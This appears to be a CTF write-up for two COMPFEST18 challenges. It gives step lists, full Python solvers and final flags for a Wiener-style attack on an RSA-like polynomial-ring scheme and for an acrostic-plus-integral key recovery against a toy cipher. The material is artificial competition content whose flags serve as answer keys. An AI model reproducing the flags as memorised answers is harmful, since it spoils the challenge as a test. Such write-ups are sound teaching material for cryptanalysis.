Cryptography
1. hello
Steps
-
Parse the transcript. Read
N,eand the ten coefficients ofcfrom the comment block (Sage printscasa9*t^9 + a8*t^8 + ... + a1*t + a0; absent terms are zero). -
Implement
Ain plain Python. Multiplication is a degree-<10 convolution followed by the foldx^(i+10) -> 2*x^i(a single pass suffices because the product has degree <= 18), with all coefficients reduced modN. Exponentiation is square-and-multiply built on that operation, so no SageMath is needed. -
Run the continued fraction. Generate convergents
h/kofe / (N^5 - 1)^2with exact integer arithmetic. For each(k, d) = (h, k)candidate, check(e*d + 1) % k == 0, formphi_cand, and apply the exacts = p^10 + q^10split test above.Every check on the recovered pair reported True, as shown below.
p*q == N .............................. True both prime ............................ True q < p < 1000*q (author's mu bound) ... True phi_author == (p^10-1)(q^10-1) ........ True e*(phi_author - d) == 1 mod phi_author True -
Compute the real group exponent. Factor
x^10 - 2modpand modqby distinct-degree factorisation, which gives the degrees[5,5]and[1,1,4,4]. Takelambdato be the least common multiple of the correspondingp^deg - 1andq^deg - 1values. Verifyc^lambda == 1inA, which is the check that proves the exponent is right before anything is decrypted. -
Decrypt. Compute
D = e^(-1) mod lambda, which is 9197 bits wide, and then evaluatem = c^DinA. -
Unpack. The 10 coefficients are the 10 message chunks. The chunk size is 6 bytes, so each coefficient is converted with
int.to_bytes(6, 'big')and the results are concatenated, giving a 60-byte padded plaintext. Strip the trailing padding, which haspad_len = 3; the identity3 == 10 - (57 % 10)confirms that the padding is self-consistent with the generator.Recovered plaintext: COMPFEST{c0ngr4tzzz_h3ngk3rrrr_g3n3r4l1Zed_w13n3R_4ttacK} -
Decisive replay check. Re-encrypt the recovered message and compare
m^einAagainst the publishedccoefficient by coefficient. The two values were equal, which turns the recovered plaintext from plausible into proven; no flag was treated as final before this check passed. -
Apply the flag post-processing. The recovered plaintext carries the 9-character prefix
COMPFEST{, while the stated rule indexesflag[11:-1], and 11 is exactly the length ofCOMPFEST18{. Reading the rule against the event's flag format, the inner content isc0ngr4tzzz_h3ngk3rrrr_g3n3r4l1Zed_w13n3R_4ttacKand the prefix is normalised toCOMPFEST18{:inner = c0ngr4tzzz_h3ngk3rrrr_g3n3r4l1Zed_w13n3R_4ttacK suffix = sha256(inner)[:16] = f91f71b7c1b857d2 flag = COMPFEST18{ inner + "_" + suffix }
Solver
The following script is a complete, self-contained reproducer written in pure Python with gmpy2; SageMath is not required. It runs from the handout to the flag in about twelve seconds and refuses to print a flag if the re-encryption replay check fails.
import hashlib
import re
import sys
from pathlib import Path
from gmpy2 import mpz, isqrt, iroot, gcd, invert
HERE = Path(__file__).resolve()
CHALL_SAGE = HERE.parent / "chall.sage"
N_DEG = 10
R_TWIST = 2
def parse_transcript(path):
text = Path(path).read_text()
def grab_int(name):
m = re.search(r"^#\s*" + name + r"\s*=\s*(\d+)\s*$", text, re.M)
if not m:
raise ValueError("could not parse %s" % name)
return mpz(m.group(1))
N = grab_int("N")
e = grab_int("e")
m = re.search(r"^#\s*c\s*=\s*(.+)$", text, re.M)
if not m:
raise ValueError("could not parse c")
coeffs = [mpz(0)] * N_DEG
for term in m.group(1).strip().split("+"):
term = term.strip()
if not term:
continue
mm = re.fullmatch(r"(\d+)\*t\^(\d+)", term)
if mm:
coeffs[int(mm.group(2))] = mpz(mm.group(1)); continue
mm = re.fullmatch(r"(\d+)\*t", term)
if mm:
coeffs[1] = mpz(mm.group(1)); continue
mm = re.fullmatch(r"(\d+)", term)
if mm:
coeffs[0] = mpz(mm.group(1)); continue
raise ValueError("unparsed term in c: %r" % term)
return N, e, coeffs
def a_mul(a, b, M):
acc = [mpz(0)] * (2 * N_DEG - 1)
for i in range(N_DEG):
ai = a[i]
if ai:
for j in range(N_DEG):
bj = b[j]
if bj:
acc[i + j] += ai * bj
out = [mpz(0)] * N_DEG
for i in range(N_DEG):
v = acc[i]
j = i + N_DEG
if j < len(acc):
v += R_TWIST * acc[j]
out[i] = v % M
return out
def a_pow(base, exp, M):
result = [mpz(1)] + [mpz(0)] * (N_DEG - 1)
b = [x % M for x in base]
ex = int(exp)
while ex:
if ex & 1:
result = a_mul(result, b, M)
ex >>= 1
if ex:
b = a_mul(b, b, M)
return result
def a_is_one(v):
return [int(x) for x in v] == [1] + [0] * (N_DEG - 1)
def convergents(num, den):
h_prev, h = mpz(0), mpz(1)
k_prev, k = mpz(1), mpz(0)
a, b = mpz(num), mpz(den)
while b:
qq = a // b
a, b = b, a - qq * b
h_prev, h = h, qq * h + h_prev
k_prev, k = k, qq * k + k_prev
yield h, k
def factor_from_phi(phi_cand, N, N10):
s = N10 + 1 - phi_cand
if s <= 0:
return None
disc = s * s - 4 * N10
if disc < 0:
return None
r = isqrt(disc)
if r * r != disc or (s + r) % 2:
return None
p, ok1 = iroot((s + r) // 2, N_DEG)
if not ok1:
return None
q, ok2 = iroot((s - r) // 2, N_DEG)
if not ok2 or p * q != N:
return None
return int(p), int(q)
def _poly_trim(a):
while a and a[-1] == 0:
a.pop()
return a
def _poly_rem(a, b, P):
a = _poly_trim([x % P for x in a])
b = _poly_trim([x % P for x in b])
inv = pow(b[-1], -1, P)
while a and len(a) >= len(b):
cf = a[-1] * inv % P
sh = len(a) - len(b)
for i, bi in enumerate(b):
a[sh + i] = (a[sh + i] - cf * bi) % P
_poly_trim(a)
return a
def _poly_gcd(a, b, P):
a = _poly_trim([x % P for x in a])
b = _poly_trim([x % P for x in b])
while b:
a, b = b, _poly_rem(a, b, P)
return a
def factor_degrees(P):
modpoly = [(-R_TWIST) % P] + [0] * (N_DEG - 1) + [1]
h = [mpz(0), mpz(1)] + [mpz(0)] * (N_DEG - 2)
degs, seen = [], 0
for d in range(1, N_DEG + 1):
h = a_pow(h, P, P)
hm = [int(v) for v in h]
hm[1] = (hm[1] - 1) % P
g = _poly_gcd(hm, modpoly, P)
gd = (len(g) - 1) if g else 0
if gd > seen:
degs += [d] * ((gd - seen) // d)
seen = gd
if seen == N_DEG:
break
return degs
def group_exponent(P):
lam = mpz(1)
for d in factor_degrees(P):
o = mpz(P) ** d - 1
lam = lam * o // gcd(lam, o)
return lam
def decode_message(coeffs):
chunk_size = max(max(1, (int(x).bit_length() + 7) // 8) for x in coeffs)
return b"".join(int(x).to_bytes(chunk_size, "big") for x in coeffs), chunk_size
def unpad(padded):
if not padded:
return None
pl = padded[-1]
if not (1 <= pl <= N_DEG) or pl > len(padded):
return None
if padded[-pl:] != bytes([pl]) * pl:
return None
flag = padded[:-pl]
if pl != N_DEG - (len(flag) % N_DEG):
return None
return flag
def sha16(s):
return hashlib.sha256(s.encode()).hexdigest()[:16]
def main():
N, e, c = parse_transcript(CHALL_SAGE)
print("[*] transcript: %s" % CHALL_SAGE)
print("[*] N: %d bits e: %d bits c: %d/%d nonzero coefficients"
% (N.bit_length(), e.bit_length(), sum(1 for x in c if x), N_DEG))
N10 = N ** N_DEG
phi_approx = (N ** (N_DEG // 2) - 1) ** 2
print("[*] step 1: continued fraction of e / (N^5 - 1)^2 ...")
hit = None
for idx, (k, d) in enumerate(convergents(e, phi_approx)):
if k == 0 or d == 0:
continue
t = e * d + 1
if t % k:
continue
phi_cand = t // k
pq = factor_from_phi(phi_cand, N, N10)
if pq:
hit = (idx, k, d, phi_cand, pq[0], pq[1])
break
if hit is None:
print("[-] no convergent yielded a structurally valid phi")
return 1
idx, k, d, phi_author, p, q = hit
print("[+] hit at convergent #%d" % idx)
print("[+] d = %d" % d)
print("[+] k = %d" % k)
print("[+] p = %d" % p)
print("[+] q = %d" % q)
print("[+] p*q == N ................................ %s" % (p * q == N))
print("[+] both prime .............................. %s"
% (__import__("sympy").isprime(p) and __import__("sympy").isprime(q)))
print("[+] q < p < 1000*q (author's mu bound) ...... %s" % (q < p < 1000 * q))
print("[+] phi_author == (p^10-1)(q^10-1) .......... %s"
% (phi_author == (mpz(p) ** N_DEG - 1) * (mpz(q) ** N_DEG - 1)))
print("[+] e*(phi_author - d) == 1 mod phi_author .. %s"
% ((e * (phi_author - d)) % phi_author == 1))
print("[*] step 2: x^10 - 2 factor degrees mod p: %s mod q: %s"
% (factor_degrees(p), factor_degrees(q)))
lam_p, lam_q = group_exponent(p), group_exponent(q)
lam = lam_p * lam_q // gcd(lam_p, lam_q)
print("[*] lambda = lcm(exponents) : %d bits gcd(e, lambda) = %d"
% (lam.bit_length(), gcd(e, lam)))
print("[+] c^lambda == 1 in A ...................... %s"
% a_is_one(a_pow(c, lam, N)))
print("[!] c^phi_author == 1 in A .................. %s <- author's bug"
% a_is_one(a_pow(c, phi_author, N)))
D = invert(e, lam)
print("[*] decrypting: c^D in A, D is %d bits ..." % D.bit_length())
m = a_pow(c, D, N)
padded, chunk_size = decode_message(m)
print("[*] chunk_size = %d, padded length = %d" % (chunk_size, len(padded)))
flag_bytes = unpad(padded)
if flag_bytes is None:
print("[-] padding check FAILED: %r" % padded)
return 1
F = flag_bytes.decode()
ok = [int(a) for a in a_pow(m, e, N)] == [int(b) for b in c]
print()
print("[+] RECOVERED PLAINTEXT : %s" % F)
print("[+] padding: pad_len = %d == 10 - (%d %% 10) ... %s"
% (padded[-1], len(flag_bytes), padded[-1] == N_DEG - (len(flag_bytes) % N_DEG)))
print("[+] RE-ENCRYPTION m^e == c ................. %s" % ok)
if not ok:
print("[-] replay check failed; refusing to report a flag")
return 1
inner = F[F.index("{") + 1:-1]
primary = "COMPFEST18{" + inner + "_" + sha16(inner) + "}"
literal = F[:-1] + "_" + sha16(F[11:-1]) + "}"
alt = "COMPFEST18{" + inner + "_" + sha16(F[11:-1]) + "}"
print()
print("[+] FINAL FLAG (primary, matches event regex):")
print(" %s" % primary)
print("[ ] alt 1 - description applied literally to the recovered string:")
print(" %s" % literal)
print("[ ] alt 2 - COMPFEST18 prefix but hash of literal F[11:-1]:")
print(" %s" % alt)
print()
print("[*] primary matches COMPFEST18{[A-Za-z0-9_-]+} : %s"
% bool(re.fullmatch(r"COMPFEST18\{[A-Za-z0-9_-]+\}", primary)))
return 0
if __name__ == "__main__":
sys.exit(main())Exploit
import argparse
import hashlib
import re
from dataclasses import dataclass
from pathlib import Path
from gmpy2 import gcd, invert, iroot, isqrt, mpz
DEGREE = 10
TWIST = 2
@dataclass(frozen=True)
class SolveResult:
plaintext: str
flag: str
replay_ok: bool
convergent_index: int
p: int
q: int
d: int
factor_degrees_p: tuple[int, ...]
factor_degrees_q: tuple[int, ...]
lambda_bits: int
ciphertext_power_lambda_is_one: bool
ciphertext_power_author_phi_is_one: bool
def parse_transcript(path: Path):
text = Path(path).read_text()
def grab_integer(name: str) -> mpz:
match = re.search(
r"^(?:#\s*)?" + name + r"\s*=\s*(\d+)\s*$", text, re.M
)
if not match:
raise ValueError(f"could not parse {name}")
return mpz(match.group(1))
modulus = grab_integer("N")
exponent = grab_integer("e")
match = re.search(r"^(?:#\s*)?c\s*=\s*(\d.*)$", text, re.M)
if not match:
raise ValueError("could not parse c")
coefficients = [mpz(0)] * DEGREE
for raw_term in match.group(1).strip().split("+"):
term = raw_term.strip()
power_term = re.fullmatch(r"(\d+)\*t\^(\d+)", term)
if power_term:
coefficients[int(power_term.group(2))] = mpz(power_term.group(1))
continue
linear_term = re.fullmatch(r"(\d+)\*t", term)
if linear_term:
coefficients[1] = mpz(linear_term.group(1))
continue
constant_term = re.fullmatch(r"(\d+)", term)
if constant_term:
coefficients[0] = mpz(constant_term.group(1))
continue
raise ValueError(f"unparsed ciphertext term: {term!r}")
return modulus, exponent, coefficients
def a_mul(left, right, modulus):
convolution = [mpz(0)] * (2 * DEGREE - 1)
for i, left_value in enumerate(left):
if not left_value:
continue
for j, right_value in enumerate(right):
if right_value:
convolution[i + j] += left_value * right_value
result = [mpz(0)] * DEGREE
for i in range(DEGREE):
value = convolution[i]
folded_index = i + DEGREE
if folded_index < len(convolution):
value += TWIST * convolution[folded_index]
result[i] = value % modulus
return result
def a_pow(base, exponent, modulus):
result = [mpz(1)] + [mpz(0)] * (DEGREE - 1)
power = [value % modulus for value in base]
remaining = int(exponent)
while remaining:
if remaining & 1:
result = a_mul(result, power, modulus)
remaining >>= 1
if remaining:
power = a_mul(power, power, modulus)
return result
def a_is_one(value) -> bool:
return [int(item) for item in value] == [1] + [0] * (DEGREE - 1)
def convergents(numerator, denominator):
previous_h, h = mpz(0), mpz(1)
previous_k, k = mpz(1), mpz(0)
left, right = mpz(numerator), mpz(denominator)
while right:
quotient = left // right
left, right = right, left - quotient * right
previous_h, h = h, quotient * h + previous_h
previous_k, k = k, quotient * k + previous_k
yield h, k
def factor_from_phi(phi_candidate, modulus, modulus10):
power_sum = modulus10 + 1 - phi_candidate
if power_sum <= 0:
return None
discriminant = power_sum * power_sum - 4 * modulus10
if discriminant < 0:
return None
root = isqrt(discriminant)
if root * root != discriminant or (power_sum + root) % 2:
return None
p, p_exact = iroot((power_sum + root) // 2, DEGREE)
q, q_exact = iroot((power_sum - root) // 2, DEGREE)
if not p_exact or not q_exact or p * q != modulus:
return None
return int(p), int(q)
def _poly_trim(polynomial):
while polynomial and polynomial[-1] == 0:
polynomial.pop()
return polynomial
def _poly_remainder(dividend, divisor, prime):
dividend = _poly_trim([value % prime for value in dividend])
divisor = _poly_trim([value % prime for value in divisor])
inverse_lead = pow(divisor[-1], -1, prime)
while dividend and len(dividend) >= len(divisor):
coefficient = dividend[-1] * inverse_lead % prime
shift = len(dividend) - len(divisor)
for i, value in enumerate(divisor):
dividend[shift + i] = (dividend[shift + i] - coefficient * value) % prime
_poly_trim(dividend)
return dividend
def _poly_gcd(left, right, prime):
left = _poly_trim([value % prime for value in left])
right = _poly_trim([value % prime for value in right])
while right:
left, right = right, _poly_remainder(left, right, prime)
return left
def factor_degrees(prime):
modulus_polynomial = [(-TWIST) % prime] + [0] * (DEGREE - 1) + [1]
frobenius = [mpz(0), mpz(1)] + [mpz(0)] * (DEGREE - 2)
degrees = []
seen_degree = 0
for degree in range(1, DEGREE + 1):
frobenius = a_pow(frobenius, prime, prime)
difference = [int(value) for value in frobenius]
difference[1] = (difference[1] - 1) % prime
common = _poly_gcd(difference, modulus_polynomial, prime)
accumulated_degree = len(common) - 1 if common else 0
if accumulated_degree > seen_degree:
degrees.extend([degree] * ((accumulated_degree - seen_degree) // degree))
seen_degree = accumulated_degree
if seen_degree == DEGREE:
break
return degrees
def group_exponent(prime):
exponent = mpz(1)
for degree in factor_degrees(prime):
factor_order = mpz(prime) ** degree - 1
exponent = exponent * factor_order // gcd(exponent, factor_order)
return exponent
def decode_message(coefficients):
chunk_size = max(
max(1, (int(value).bit_length() + 7) // 8) for value in coefficients
)
padded = b"".join(
int(value).to_bytes(chunk_size, "big") for value in coefficients
)
return padded, chunk_size
def unpad(padded):
if not padded:
return None
pad_length = padded[-1]
if not 1 <= pad_length <= DEGREE or pad_length > len(padded):
return None
if padded[-pad_length:] != bytes([pad_length]) * pad_length:
return None
message = padded[:-pad_length]
if pad_length != DEGREE - len(message) % DEGREE:
return None
return message
def sha16(value: str) -> str:
return hashlib.sha256(value.encode()).hexdigest()[:16]
def solve(path: Path) -> SolveResult:
modulus, exponent, ciphertext = parse_transcript(path)
modulus10 = modulus**DEGREE
phi_approximation = (modulus ** (DEGREE // 2) - 1) ** 2
recovered = None
for index, (k, d) in enumerate(convergents(exponent, phi_approximation)):
if not k or not d:
continue
numerator = exponent * d + 1
if numerator % k:
continue
author_phi = numerator // k
factors = factor_from_phi(author_phi, modulus, modulus10)
if factors:
recovered = index, d, author_phi, factors[0], factors[1]
break
if recovered is None:
raise ValueError("no convergent yielded valid factors")
convergent_index, d, author_phi, p, q = recovered
degrees_p = tuple(factor_degrees(p))
degrees_q = tuple(factor_degrees(q))
lambda_p = group_exponent(p)
lambda_q = group_exponent(q)
group_lambda = lambda_p * lambda_q // gcd(lambda_p, lambda_q)
lambda_check = a_is_one(a_pow(ciphertext, group_lambda, modulus))
author_check = a_is_one(a_pow(ciphertext, author_phi, modulus))
if not lambda_check:
raise ValueError("derived group exponent failed its ring check")
decryption_exponent = invert(exponent, group_lambda)
message_coefficients = a_pow(ciphertext, decryption_exponent, modulus)
padded, _ = decode_message(message_coefficients)
message_bytes = unpad(padded)
if message_bytes is None:
raise ValueError("recovered message failed padding validation")
plaintext = message_bytes.decode()
replay_ok = [int(value) for value in a_pow(message_coefficients, exponent, modulus)] == [
int(value) for value in ciphertext
]
if not replay_ok:
raise ValueError("re-encryption did not reproduce the ciphertext")
inner = plaintext[plaintext.index("{") + 1 : -1]
flag = f"COMPFEST18{{{inner}_{sha16(inner)}}}"
return SolveResult(
plaintext=plaintext,
flag=flag,
replay_ok=replay_ok,
convergent_index=convergent_index,
p=p,
q=q,
d=int(d),
factor_degrees_p=degrees_p,
factor_degrees_q=degrees_q,
lambda_bits=group_lambda.bit_length(),
ciphertext_power_lambda_is_one=lambda_check,
ciphertext_power_author_phi_is_one=author_check,
)
def main() -> int:
parser = argparse.ArgumentParser()
parser.add_argument("chall_sage", type=Path)
args = parser.parse_args()
result = solve(args.chall_sage)
print(f"convergent index: {result.convergent_index}")
print(f"factor degrees mod p: {list(result.factor_degrees_p)}")
print(f"factor degrees mod q: {list(result.factor_degrees_q)}")
print(f"lambda bits: {result.lambda_bits}")
print(f"c^lambda == 1: {result.ciphertext_power_lambda_is_one}")
print(f"c^author_phi == 1: {result.ciphertext_power_author_phi_is_one}")
print(f"re-encryption m^e == c: {result.replay_ok}")
print(f"plaintext: {result.plaintext}")
print(f"flag: {result.flag}")
return 0
if __name__ == "__main__":
raise SystemExit(main())Final Flag
COMPFEST18{c0ngr4tzzz_h3ngk3rrrr_g3n3r4l1Zed_w13n3R_4ttacK_f91f71b7c1b857d2}2. The 67th Line
Steps
-
Query the Instagram web-profile JSON endpoint for
kuliah67.archive, remembering that the logged-out HTML page is a false 404 that a control fetch of a known-good account disproves, and save all four captions. -
Take the three 35-line captions in post order, map each line's initial word to
B = 0orO = 1, and read the 105 bits as 21 Baconian quintets. Extend the alphabet with26 = .and27 = /as the caption's own "Beyond Z" line instructs. The result isristek.link/astergate. -
Follow the redirect chain to the Google Drive folder and download
Archive.zip(sha256ffa8b140cbec1819ed648c2303747857159f0eed2c34406876e73c7315aecf78), then extractchall.py,records.bin,records.jsonandsealed.json. -
Parse
records.jsonand keep only the dimension-9 sets, which are 60 of the 74. -
Precompute all 4096 output matrices and their inverse lookup tables, which takes about 0.6 seconds.
-
For each byte position
iindependently, try all 4096 candidate values ofhi[i], invert the output layer for that byte across a whole dimension-9 set, and keep the candidates for which the XOR over the set is 0. Intersect two or three sets to leave a single survivor per byte, as listed below.byte 0: hi=0x32e byte 4: hi=0x55e byte 8: hi=0x298 byte 1: hi=0xbee byte 5: hi=0xf82 byte 9: hi=0xd04 byte 2: hi=0xc01 byte 6: hi=0xefc byte 10: hi=0xb58 byte 3: hi=0x9ae byte 7: hi=0x476 byte 11: hi=0xcad -
Derive
lo[]algebraically from the now-known round keys, without any search. The full key is the following.[0x32e8d, 0xbee50, 0xc0187, 0x9ae40, 0x55edd, 0xf8201, 0xefc0a, 0x4764a, 0x29817, 0xd0466, 0xb5803, 0xcaded] -
Run two independent verifications, both of which were required before the key was trusted.
- Re-encrypt every recorded block with the recovered key, which reproduces
records.binwith 33536 of 33536 blocks matching. - Run
open_sealed()onsealed.json, whose HMAC-SHA256 tag authenticates; this is an independent check because the seal key issha256(D + b'/seal/' + key)over the full 240 bits,loincluded.
- Re-encrypt every recorded block with the recovered key, which reproduces
-
Read the sealed payload, which is the 32-byte answer shown below.
H = 5e9e8bf77207eca9c6906e80a57aa0e426f18ab8825a7b0f656cfa5d888a81c9 -
Apply the stated format, in which "sha256(that 64 lowercase hexadecimal characters)" means the hash of the ASCII string, giving
sha256(H)[:16] = aefbd0dc566889bb. The raw-bytes reading would instead give5691e86656d88908, but the ASCII reading is the correct one.
Solver
The script below is an offline, deterministic reproducer for stages 2 and 3, covering the acrostic decode as well as the full key recovery and the seal opening. It runs in about 5 seconds and refuses to emit a flag unless both verifications pass, and it expects the extracted archive in gate/ alongside it.
from __future__ import annotations
import argparse, glob, hashlib, hmac, json, os, sys, time
from pathlib import Path
import numpy as np
HERE = Path(__file__).resolve().parent
BACON_EXTRA = {26: ".", 27: "/"}
def stage1_decode(evidence_dir: Path) -> str:
first_words: list[str] = []
for i in (1, 2, 3):
hits = sorted(glob.glob(str(evidence_dir / f"post{i}_*_caption.txt")))
if not hits:
raise SystemExit(f"missing caption file for post{i} in {evidence_dir}")
for line in Path(hits[0]).read_text(encoding="utf-8").split("\n"):
line = line.strip()
if line and not line.startswith("#"):
first_words.append(line.split()[0])
assert len(first_words) == 105, len(first_words)
bits = "".join("1" if w[0] == "O" else "0" for w in first_words)
out = []
for i in range(0, len(bits), 5):
v = int(bits[i:i + 5], 2)
out.append(chr(65 + v) if v < 26 else BACON_EXTRA[v])
decoded = "".join(out)
return decoded
N = 12
P = 96
D = b'ASTERGATE/GMI/3'
def _f(x: int) -> int:
b = [(x >> i) & 1 for i in range(4)]
o = (b[0] ^ (b[1] & b[2]), b[1] ^ (b[2] & b[3]),
b[2] ^ (b[3] & b[0]), b[3] ^ (b[0] & b[1]))
return sum(v << i for i, v in enumerate(o))
def _g(x: int) -> int:
l = x & 15; r = x >> 4
return r | ((l ^ _f(r)) << 4)
def _h(x: int) -> int:
b = [(x >> i) & 1 for i in range(4)]
o = (b[0] ^ (b[2] & b[3]), b[1] ^ (b[0] & b[3]),
b[2] ^ (b[0] & b[1]), b[3] ^ (b[1] & b[2]))
return sum(v << i for i, v in enumerate(o))
def _q(x: int) -> int:
l = x & 15; r = x >> 4
return r | ((l ^ _h(r)) << 4)
def _rank(rows: list[int]) -> int:
a = rows[:]; r = 0
for c in range(8):
p = next((i for i in range(r, len(a)) if (a[i] >> c) & 1), None)
if p is None:
continue
a[r], a[p] = a[p], a[r]
for i in range(len(a)):
if i != r and ((a[i] >> c) & 1):
a[i] ^= a[r]
r += 1
return r
_MATRIX_CACHE: dict[int, list[int]] = {}
def matrix(index: int) -> list[int]:
if not 0 <= index < 4096:
raise ValueError('matrix index')
if index in _MATRIX_CACHE:
return _MATRIX_CACHE[index]
c = 0
while True:
z = hashlib.sha256(D + b'/matrix/' + index.to_bytes(2, 'little')
+ c.to_bytes(2, 'little')).digest()
rows = list(z[:8])
if _rank(rows) == 8:
_MATRIX_CACHE[index] = rows
return rows
c += 1
def _apply(rows: list[int], x: int) -> int:
return sum(((rows[i] & x).bit_count() & 1) << i for i in range(8))
def _permute(state: bytes) -> bytes:
x = int.from_bytes(state, 'little'); y = 0
for i in range(P):
y |= ((x >> i) & 1) << ((29 * i + 17) % P)
return y.to_bytes(N, 'little')
def _material(key: list[int]) -> bytes:
if len(key) != N or any(not 0 <= x < (1 << 20) for x in key):
raise ValueError('key')
return b''.join(x.to_bytes(3, 'little') for x in key)
def _round_material(key: list[int]) -> bytes:
return b''.join((x >> 8).to_bytes(2, 'little') for x in key)
def _round_key(key: list[int], r: int) -> bytes:
return hashlib.sha256(D + b'/round/' + bytes([r]) + _round_material(key)).digest()[:N]
def encrypt_block(block: bytes, key: list[int]) -> bytes:
if len(block) != N:
raise ValueError('block')
s = bytes(block)
for r in range(3):
k = _round_key(key, r)
s = bytes(_g(a ^ b) for a, b in zip(s, k))
s = _permute(s)
k = _round_key(key, 3)
s = bytes(a ^ b for a, b in zip(s, k))
out = []
for i, x in enumerate(s):
seed = key[i]; rows = matrix(seed >> 8)
out.append(_apply(rows, _q(x)) ^ (seed & 255))
return bytes(out)
def _root(key: list[int]) -> bytes:
return hashlib.sha256(D + b'/seal/' + _material(key)).digest()
def open_sealed(obj: dict, key: list[int]) -> bytes:
root = _root(key)
nonce = bytes.fromhex(obj['n']); ct = bytes.fromhex(obj['c']); tag = bytes.fromhex(obj['t'])
ek = hashlib.sha256(D + b'/enc/' + root).digest()
mk = hashlib.sha256(D + b'/mac/' + root).digest()
if not hmac.compare_digest(tag, hmac.new(mk, D + nonce + ct, hashlib.sha256).digest()[:16]):
raise ValueError('authentication')
stream = bytearray(); i = 0
while len(stream) < len(ct):
stream.extend(hmac.new(ek, nonce + i.to_bytes(8, 'little'), hashlib.sha256).digest())
i += 1
return bytes(a ^ b for a, b in zip(ct, stream))
def build_tables():
Q = np.array([_q(x) for x in range(256)], dtype=np.uint8)
Qinv = np.zeros(256, dtype=np.uint8)
for x in range(256):
Qinv[Q[x]] = x
assert len(set(Q.tolist())) == 256, "q must be a bijection"
return Q, Qinv
def gf2_inverse_rows(rows: list[int]) -> list[int]:
a = [(rows[i], 1 << i) for i in range(8)]
r = 0
for c in range(8):
p = next((i for i in range(r, 8) if (a[i][0] >> c) & 1), None)
assert p is not None, "singular matrix"
a[r], a[p] = a[p], a[r]
for i in range(8):
if i != r and ((a[i][0] >> c) & 1):
a[i] = (a[i][0] ^ a[r][0], a[i][1] ^ a[r][1])
r += 1
order = {}
for lhs, rhs in a:
order[lhs.bit_length() - 1] = rhs
return [order[i] for i in range(8)]
def build_luts(Qinv):
PAR = np.array([bin(v).count("1") & 1 for v in range(256)], dtype=np.uint8)
xs = np.arange(256, dtype=np.uint8)
fwd = np.zeros((4096, 256), dtype=np.uint8)
inv = np.zeros((4096, 256), dtype=np.uint8)
for hi in range(4096):
rows = matrix(hi)
irows = gf2_inverse_rows(rows)
f = np.zeros(256, dtype=np.uint8)
t = np.zeros(256, dtype=np.uint8)
for i in range(8):
f |= PAR[rows[i] & xs] << i
t |= PAR[irows[i] & xs] << i
fwd[hi] = f
inv[hi] = t
return fwd, inv
def candidates_for_byte(ct_set: np.ndarray, b: int, inv: np.ndarray, Qinv: np.ndarray,
restrict: np.ndarray | None = None):
col = ct_set[:, b]
par = np.bincount(col, minlength=256) & 1
S = np.nonzero(par)[0].astype(np.uint8)
if S.size == 0:
return np.ones((4096, 256), dtype=bool)
his = np.arange(4096) if restrict is None else restrict
ok = np.zeros((4096, 256), dtype=bool)
cs = np.arange(256, dtype=np.uint8)
CH = 512
for st in range(0, len(his), CH):
idx = his[st:st + CH]
u = inv[np.ix_(idx, S.astype(np.intp))]
t = Qinv[u[:, None, :] ^ cs[None, :, None]]
res = np.bitwise_xor.reduce(t, axis=2)
ok[idx] = (res == 0)
return ok
def main():
ap = argparse.ArgumentParser()
ap.add_argument("--evidence", default=str(HERE / "evidence"))
ap.add_argument("--gate", default=str(HERE / "gate"))
args = ap.parse_args()
ev = Path(args.evidence); gate = Path(args.gate)
print("=" * 72)
print("STAGE 1: Baconian acrostic in the @kuliah67.archive captions")
print("=" * 72)
decoded = stage1_decode(ev)
print(" decoded 21 Baconian symbols :", decoded)
url = "https://" + decoded.lower()
print(" -> sealed gate URL :", url)
print(" -> redirects to Google Drive folder 'astergate' -> Archive.zip")
assert decoded == "RISTEK.LINK/ASTERGATE", decoded
print()
print("=" * 72)
print("STAGE 2: integral / higher-order-differential key recovery")
print("=" * 72)
meta = json.loads((gate / "records.json").read_text())
blob = (gate / "records.bin").read_bytes()
sealed = json.loads((gate / "sealed.json").read_text())
blocks = np.frombuffer(blob, dtype=np.uint8).reshape(-1, N)
print(f" {len(meta['sets'])} sets, {blocks.shape[0]} blocks of {N} bytes")
d9 = [s for s in meta["sets"] if s["d"] == 9]
print(f" usable dim-9 sets (degree 8 < 9): {len(d9)}")
Q, Qinv = build_tables()
t0 = time.time()
print(" building 4096 output matrices + inverse LUTs ...", end="", flush=True)
fwd, inv = build_luts(Qinv)
print(f" {time.time()-t0:.1f}s")
print(" phase 1: integral recovery of hi[] (matrix selector, 12 bits/byte)")
his: list[int] = []
for b in range(N):
t1 = time.time()
alive = np.arange(4096)
used = 0
for s in d9:
ct = blocks[s["offset"]: s["offset"] + s["count"]]
m = candidates_for_byte(ct, b, inv, Qinv, alive)
alive = np.nonzero(m.any(axis=1))[0]
used += 1
if len(alive) == 1:
break
assert len(alive) == 1, f"byte {b}: {len(alive)} hi candidates left"
hi = int(alive[0]); his.append(hi)
print(f" byte {b:2d}: hi=0x{hi:03x} ({used} sets, {time.time()-t1:.1f}s)")
print(" phase 2: deriving lo[] from the now-known round keys")
probe = meta["sets"][0]
pt0 = bytes.fromhex(probe["base"])
ct0 = bytes(blocks[probe["offset"]])
kdummy = [(h << 8) for h in his]
s = bytes(pt0)
for r in range(3):
k = _round_key(kdummy, r)
s = bytes(_g(a ^ b) for a, b in zip(s, k))
s = _permute(s)
s = bytes(a ^ b for a, b in zip(s, _round_key(kdummy, 3)))
key = [(his[i] << 8) | (ct0[i] ^ _apply(matrix(his[i]), _q(s[i]))) for i in range(N)]
print()
print(" recovered key:", [hex(k) for k in key])
print(" verifying by re-encrypting all recorded blocks ...", flush=True)
bad = 0; tot = 0
for s in meta["sets"]:
base = bytes.fromhex(s["base"])
basis = [bytes.fromhex(v) for v in s["basis"]]
for m in range(s["count"]):
pt = bytearray(base)
for i in range(s["d"]):
if (m >> i) & 1:
for j in range(N):
pt[j] ^= basis[i][j]
ctc = encrypt_block(bytes(pt), key)
if ctc != bytes(blocks[s["offset"] + m]):
bad += 1
tot += 1
print(f" verified {tot - bad}/{tot} blocks match ({'OK' if bad == 0 else 'MISMATCH'})")
assert bad == 0, "key verification failed"
pt = open_sealed(sealed, key)
H = pt.hex()
assert len(H) == 64 and all(ch in "0123456789abcdef" for ch in H)
checksum = hashlib.sha256(H.encode()).hexdigest()[:16]
flag = f"COMPFEST18{{{H}_{checksum}}}"
print()
print("=" * 72)
print(" sealed plaintext (32 bytes) :", pt.hex())
print(" H :", H)
print(" sha256(ascii H)[:16] :", checksum)
print(" FLAG :", flag)
print("=" * 72)
return flag
if __name__ == "__main__":
main()Exploit
from __future__ import annotations
import argparse, glob, hashlib, hmac, json, os, sys, time
from pathlib import Path
import numpy as np
HERE = Path(__file__).resolve().parent
